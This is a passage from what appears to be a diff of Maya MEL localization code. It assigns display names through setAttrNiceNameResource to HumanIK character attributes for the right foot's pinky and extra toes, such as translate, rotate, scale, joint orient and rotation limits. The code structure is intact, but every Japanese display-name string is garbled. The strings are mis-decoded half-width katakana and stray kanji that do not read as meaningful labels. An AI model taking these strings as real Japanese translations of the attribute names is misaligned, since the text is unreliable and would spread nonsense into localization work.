"モメスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimitz", "モメスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimit", "モメスナミ。ヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimitx", "モメスナミ。ヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimity", "モメスナミ。ヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimitz", "モメスナミ。ヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimitEnablex", "ニモテモメスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimitEnabley", "ニモテモメスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimitEnablez", "ニモテモメスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimitEnablex", "ニモテモメスナミ。ヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimitEnabley", "ニモテモメスナミ。ヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MaxRLimitEnablez", "ニモテモメスナミ。ヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3", "モメスナミ。ヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3T", "モメスナミ。ヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Tx", "モメスナミ。ヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Ty", "モメスナミ。ヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Tz", "モメスナミ。ヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3R", "モメスナミ。ヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Rx", "モメスナミ。ヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Ry", "モメスナミ。ヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Rz", "モメスナミ。ヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3S", "モメスナミ。ヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Sx", "モメスナミ。ヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Sy", "モメスナミ。ヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3Sz", "モメスナミ。ヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3RotateOrder", "モメスナミ。ヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3RotateAxis", "モメスナミ。ヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3RotateAxisx", "モメスナミ。ヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3RotateAxisy", "モメスナミ。ヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3RotateAxisz", "モメスナミ。ヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3JointOrient", "モメスナミ。ヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3JointOrientx", "モメスナミ。ヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3JointOrienty", "モメスナミ。ヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3JointOrientz", "モメスナミ。ヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimit", "モメスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimitx", "モメスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimity", "モメスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimitz", "モメスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimit", "モメスナミ。ヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimitx", "モメスナミ。ヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimity", "モメスナミ。ヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimitz", "モメスナミ。ヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimitEnablex", "ニモテモメスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimitEnabley", "ニモテモメスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MinRLimitEnablez", "ニモテモメスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimitEnablex", "ニモテモメスナミ。ヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimitEnabley", "ニモテモメスナミ。ヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky3MaxRLimitEnablez", "ニモテモメスナミ。ヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4", "モメスナミ。ヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4T", "モメスナミ。ヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Tx", "モメスナミ。ヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Ty", "モメスナミ。ヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Tz", "モメスナミ。ヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4R", "モメスナミ。ヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Rx", "モメスナミ。ヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Ry", "モメスナミ。ヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Rz", "モメスナミ。ヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4S", "モメスナミ。ヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Sx", "モメスナミ。ヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Sy", "モメスナミ。ヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4Sz", "モメスナミ。ヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4RotateOrder", "モメスナミ。ヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4RotateAxis", "モメスナミ。ヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4RotateAxisx", "モメスナミ。ヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4RotateAxisy", "モメスナミ。ヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4RotateAxisz", "モメスナミ。ヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4JointOrient", "モメスナミ。ヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4JointOrientx", "モメスナミ。ヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4JointOrienty", "モメスナミ。ヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4JointOrientz", "モメスナミ。ヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimit", "モメスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimitx", "モメスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimity", "モメスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimitz", "モメスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimit", "モメスナミ。ヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimitx", "モメスナミ。ヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimity", "モメスナミ。ヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimitz", "モメスナミ。ヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimitEnablex", "ニモテモメスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimitEnabley", "ニモテモメスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MinRLimitEnablez", "ニモテモメスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimitEnablex", "ニモテモメスナミ。ヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimitEnabley", "ニモテモメスナミ。ヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky4MaxRLimitEnablez", "ニモテモメスナミ。ヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1", "モメスナチヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1T", "モメスナチヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Tx", "モメスナチヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Ty", "モメスナチヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Tz", "モメスナチヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1R", "モメスナチヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Rx", "モメスナチヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Ry", "モメスナチヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Rz", "モメスナチヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1S", "モメスナチヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Sx", "モメスナチヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Sy", "モメスナチヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1Sz", "モメスナチヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1RotateOrder", "モメスナチヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1RotateAxis", "モメスナチヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1RotateAxisx", "モメスナチヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1RotateAxisy", "モメスナチヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1RotateAxisz", "モメスナチヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1JointOrient", "モメスナチヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1JointOrientx", "モメスナチヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1JointOrienty", "モメスナチヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1JointOrientz", "モメスナチヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimit", "モメスナチヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimitx", "モメスナチヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimity", "モメスナチヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimitz", "モメスナチヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimit", "モメスナチヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimitx", "モメスナチヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimity", "モメスナチヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimitz", "モメスナチヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimitEnablex", "ニモテモメスナチヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimitEnabley", "ニモテモメスナチヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MinRLimitEnablez", "ニモテモメスナチヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimitEnablex", "ニモテモメスナチヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimitEnabley", "ニモテモメスナチヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger1MaxRLimitEnablez", "ニモテモメスナチヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2", "モメスナチヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2T", "モメスナチヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Tx", "モメスナチヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Ty", "モメスナチヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Tz", "モメスナチヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2R", "モメスナチヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Rx", "モメスナチヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Ry", "モメスナチヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Rz", "モメスナチヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2S", "モメスナチヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Sx", "モメスナチヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Sy", "モメスナチヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2Sz", "モメスナチヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2RotateOrder", "モメスナチヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2RotateAxis", "モメスナチヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2RotateAxisx", "モメスナチヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2RotateAxisy", "モメスナチヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2RotateAxisz", "モメスナチヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2JointOrient", "モメスナチヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2JointOrientx", "モメスナチヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2JointOrienty", "モメスナチヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2JointOrientz", "モメスナチヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimit", "モメスナチヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimitx", "モメスナチヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimity", "モメスナチヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimitz", "モメスナチヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimit", "モメスナチヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimitx", "モメスナチヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimity", "モメスナチヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimitz", "モメスナチヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimitEnablex", "ニモテモメスナチヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimitEnabley", "ニモテモメスナチヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MinRLimitEnablez", "ニモテモメスナチヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimitEnablex", "ニモテモメスナチヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimitEnabley", "ニモテモメスナチヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger2MaxRLimitEnablez", "ニモテモメスナチヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3", "モメスナチヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3T", "モメスナチヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Tx", "モメスナチヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Ty", "モメスナチヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Tz", "モメスナチヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3R", "モメスナチヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Rx", "モメスナチヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Ry", "モメスナチヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Rz", "モメスナチヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3S", "モメスナチヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Sx", "モメスナチヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Sy", "モメスナチヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3Sz", "モメスナチヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3RotateOrder", "モメスナチヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3RotateAxis", "モメスナチヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3RotateAxisx", "モメスナチヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3RotateAxisy", "モメスナチヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3RotateAxisz", "モメスナチヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3JointOrient", "モメスナチヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3JointOrientx", "モメスナチヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3JointOrienty", "モメスナチヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3JointOrientz", "モメスナチヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimit", "モメスナチヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimitx", "モメスナチヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimity", "モメスナチヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimitz", "モメスナチヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimit", "モメスナチヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimitx", "モメスナチヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimity", "モメスナチヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimitz", "モメスナチヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimitEnablex", "ニモテモメスナチヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimitEnabley", "ニモテモメスナチヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MinRLimitEnablez", "ニモテモメスナチヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimitEnablex", "ニモテモメスナチヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimitEnabley", "ニモテモメスナチヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger3MaxRLimitEnablez", "ニモテモメスナチヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4", "モメスナチヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4T", "モメスナチヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Tx", "モメスナチヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Ty", "モメスナチヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Tz", "モメスナチヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4R", "モメスナチヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Rx", "モメスナチヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Ry", "モメスナチヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Rz", "モメスナチヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4S", "モメスナチヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Sx", "モメスナチヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Sy", "モメスナチヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4Sz", "モメスナチヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4RotateOrder", "モメスナチヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4RotateAxis", "モメスナチヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4RotateAxisx", "モメスナチヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4RotateAxisy", "モメスナチヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4RotateAxisz", "モメスナチヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4JointOrient", "モメスナチヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4JointOrientx", "モメスナチヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4JointOrienty", "モメスナチヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4JointOrientz", "モメスナチヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootExtraFinger4MinRLimit", 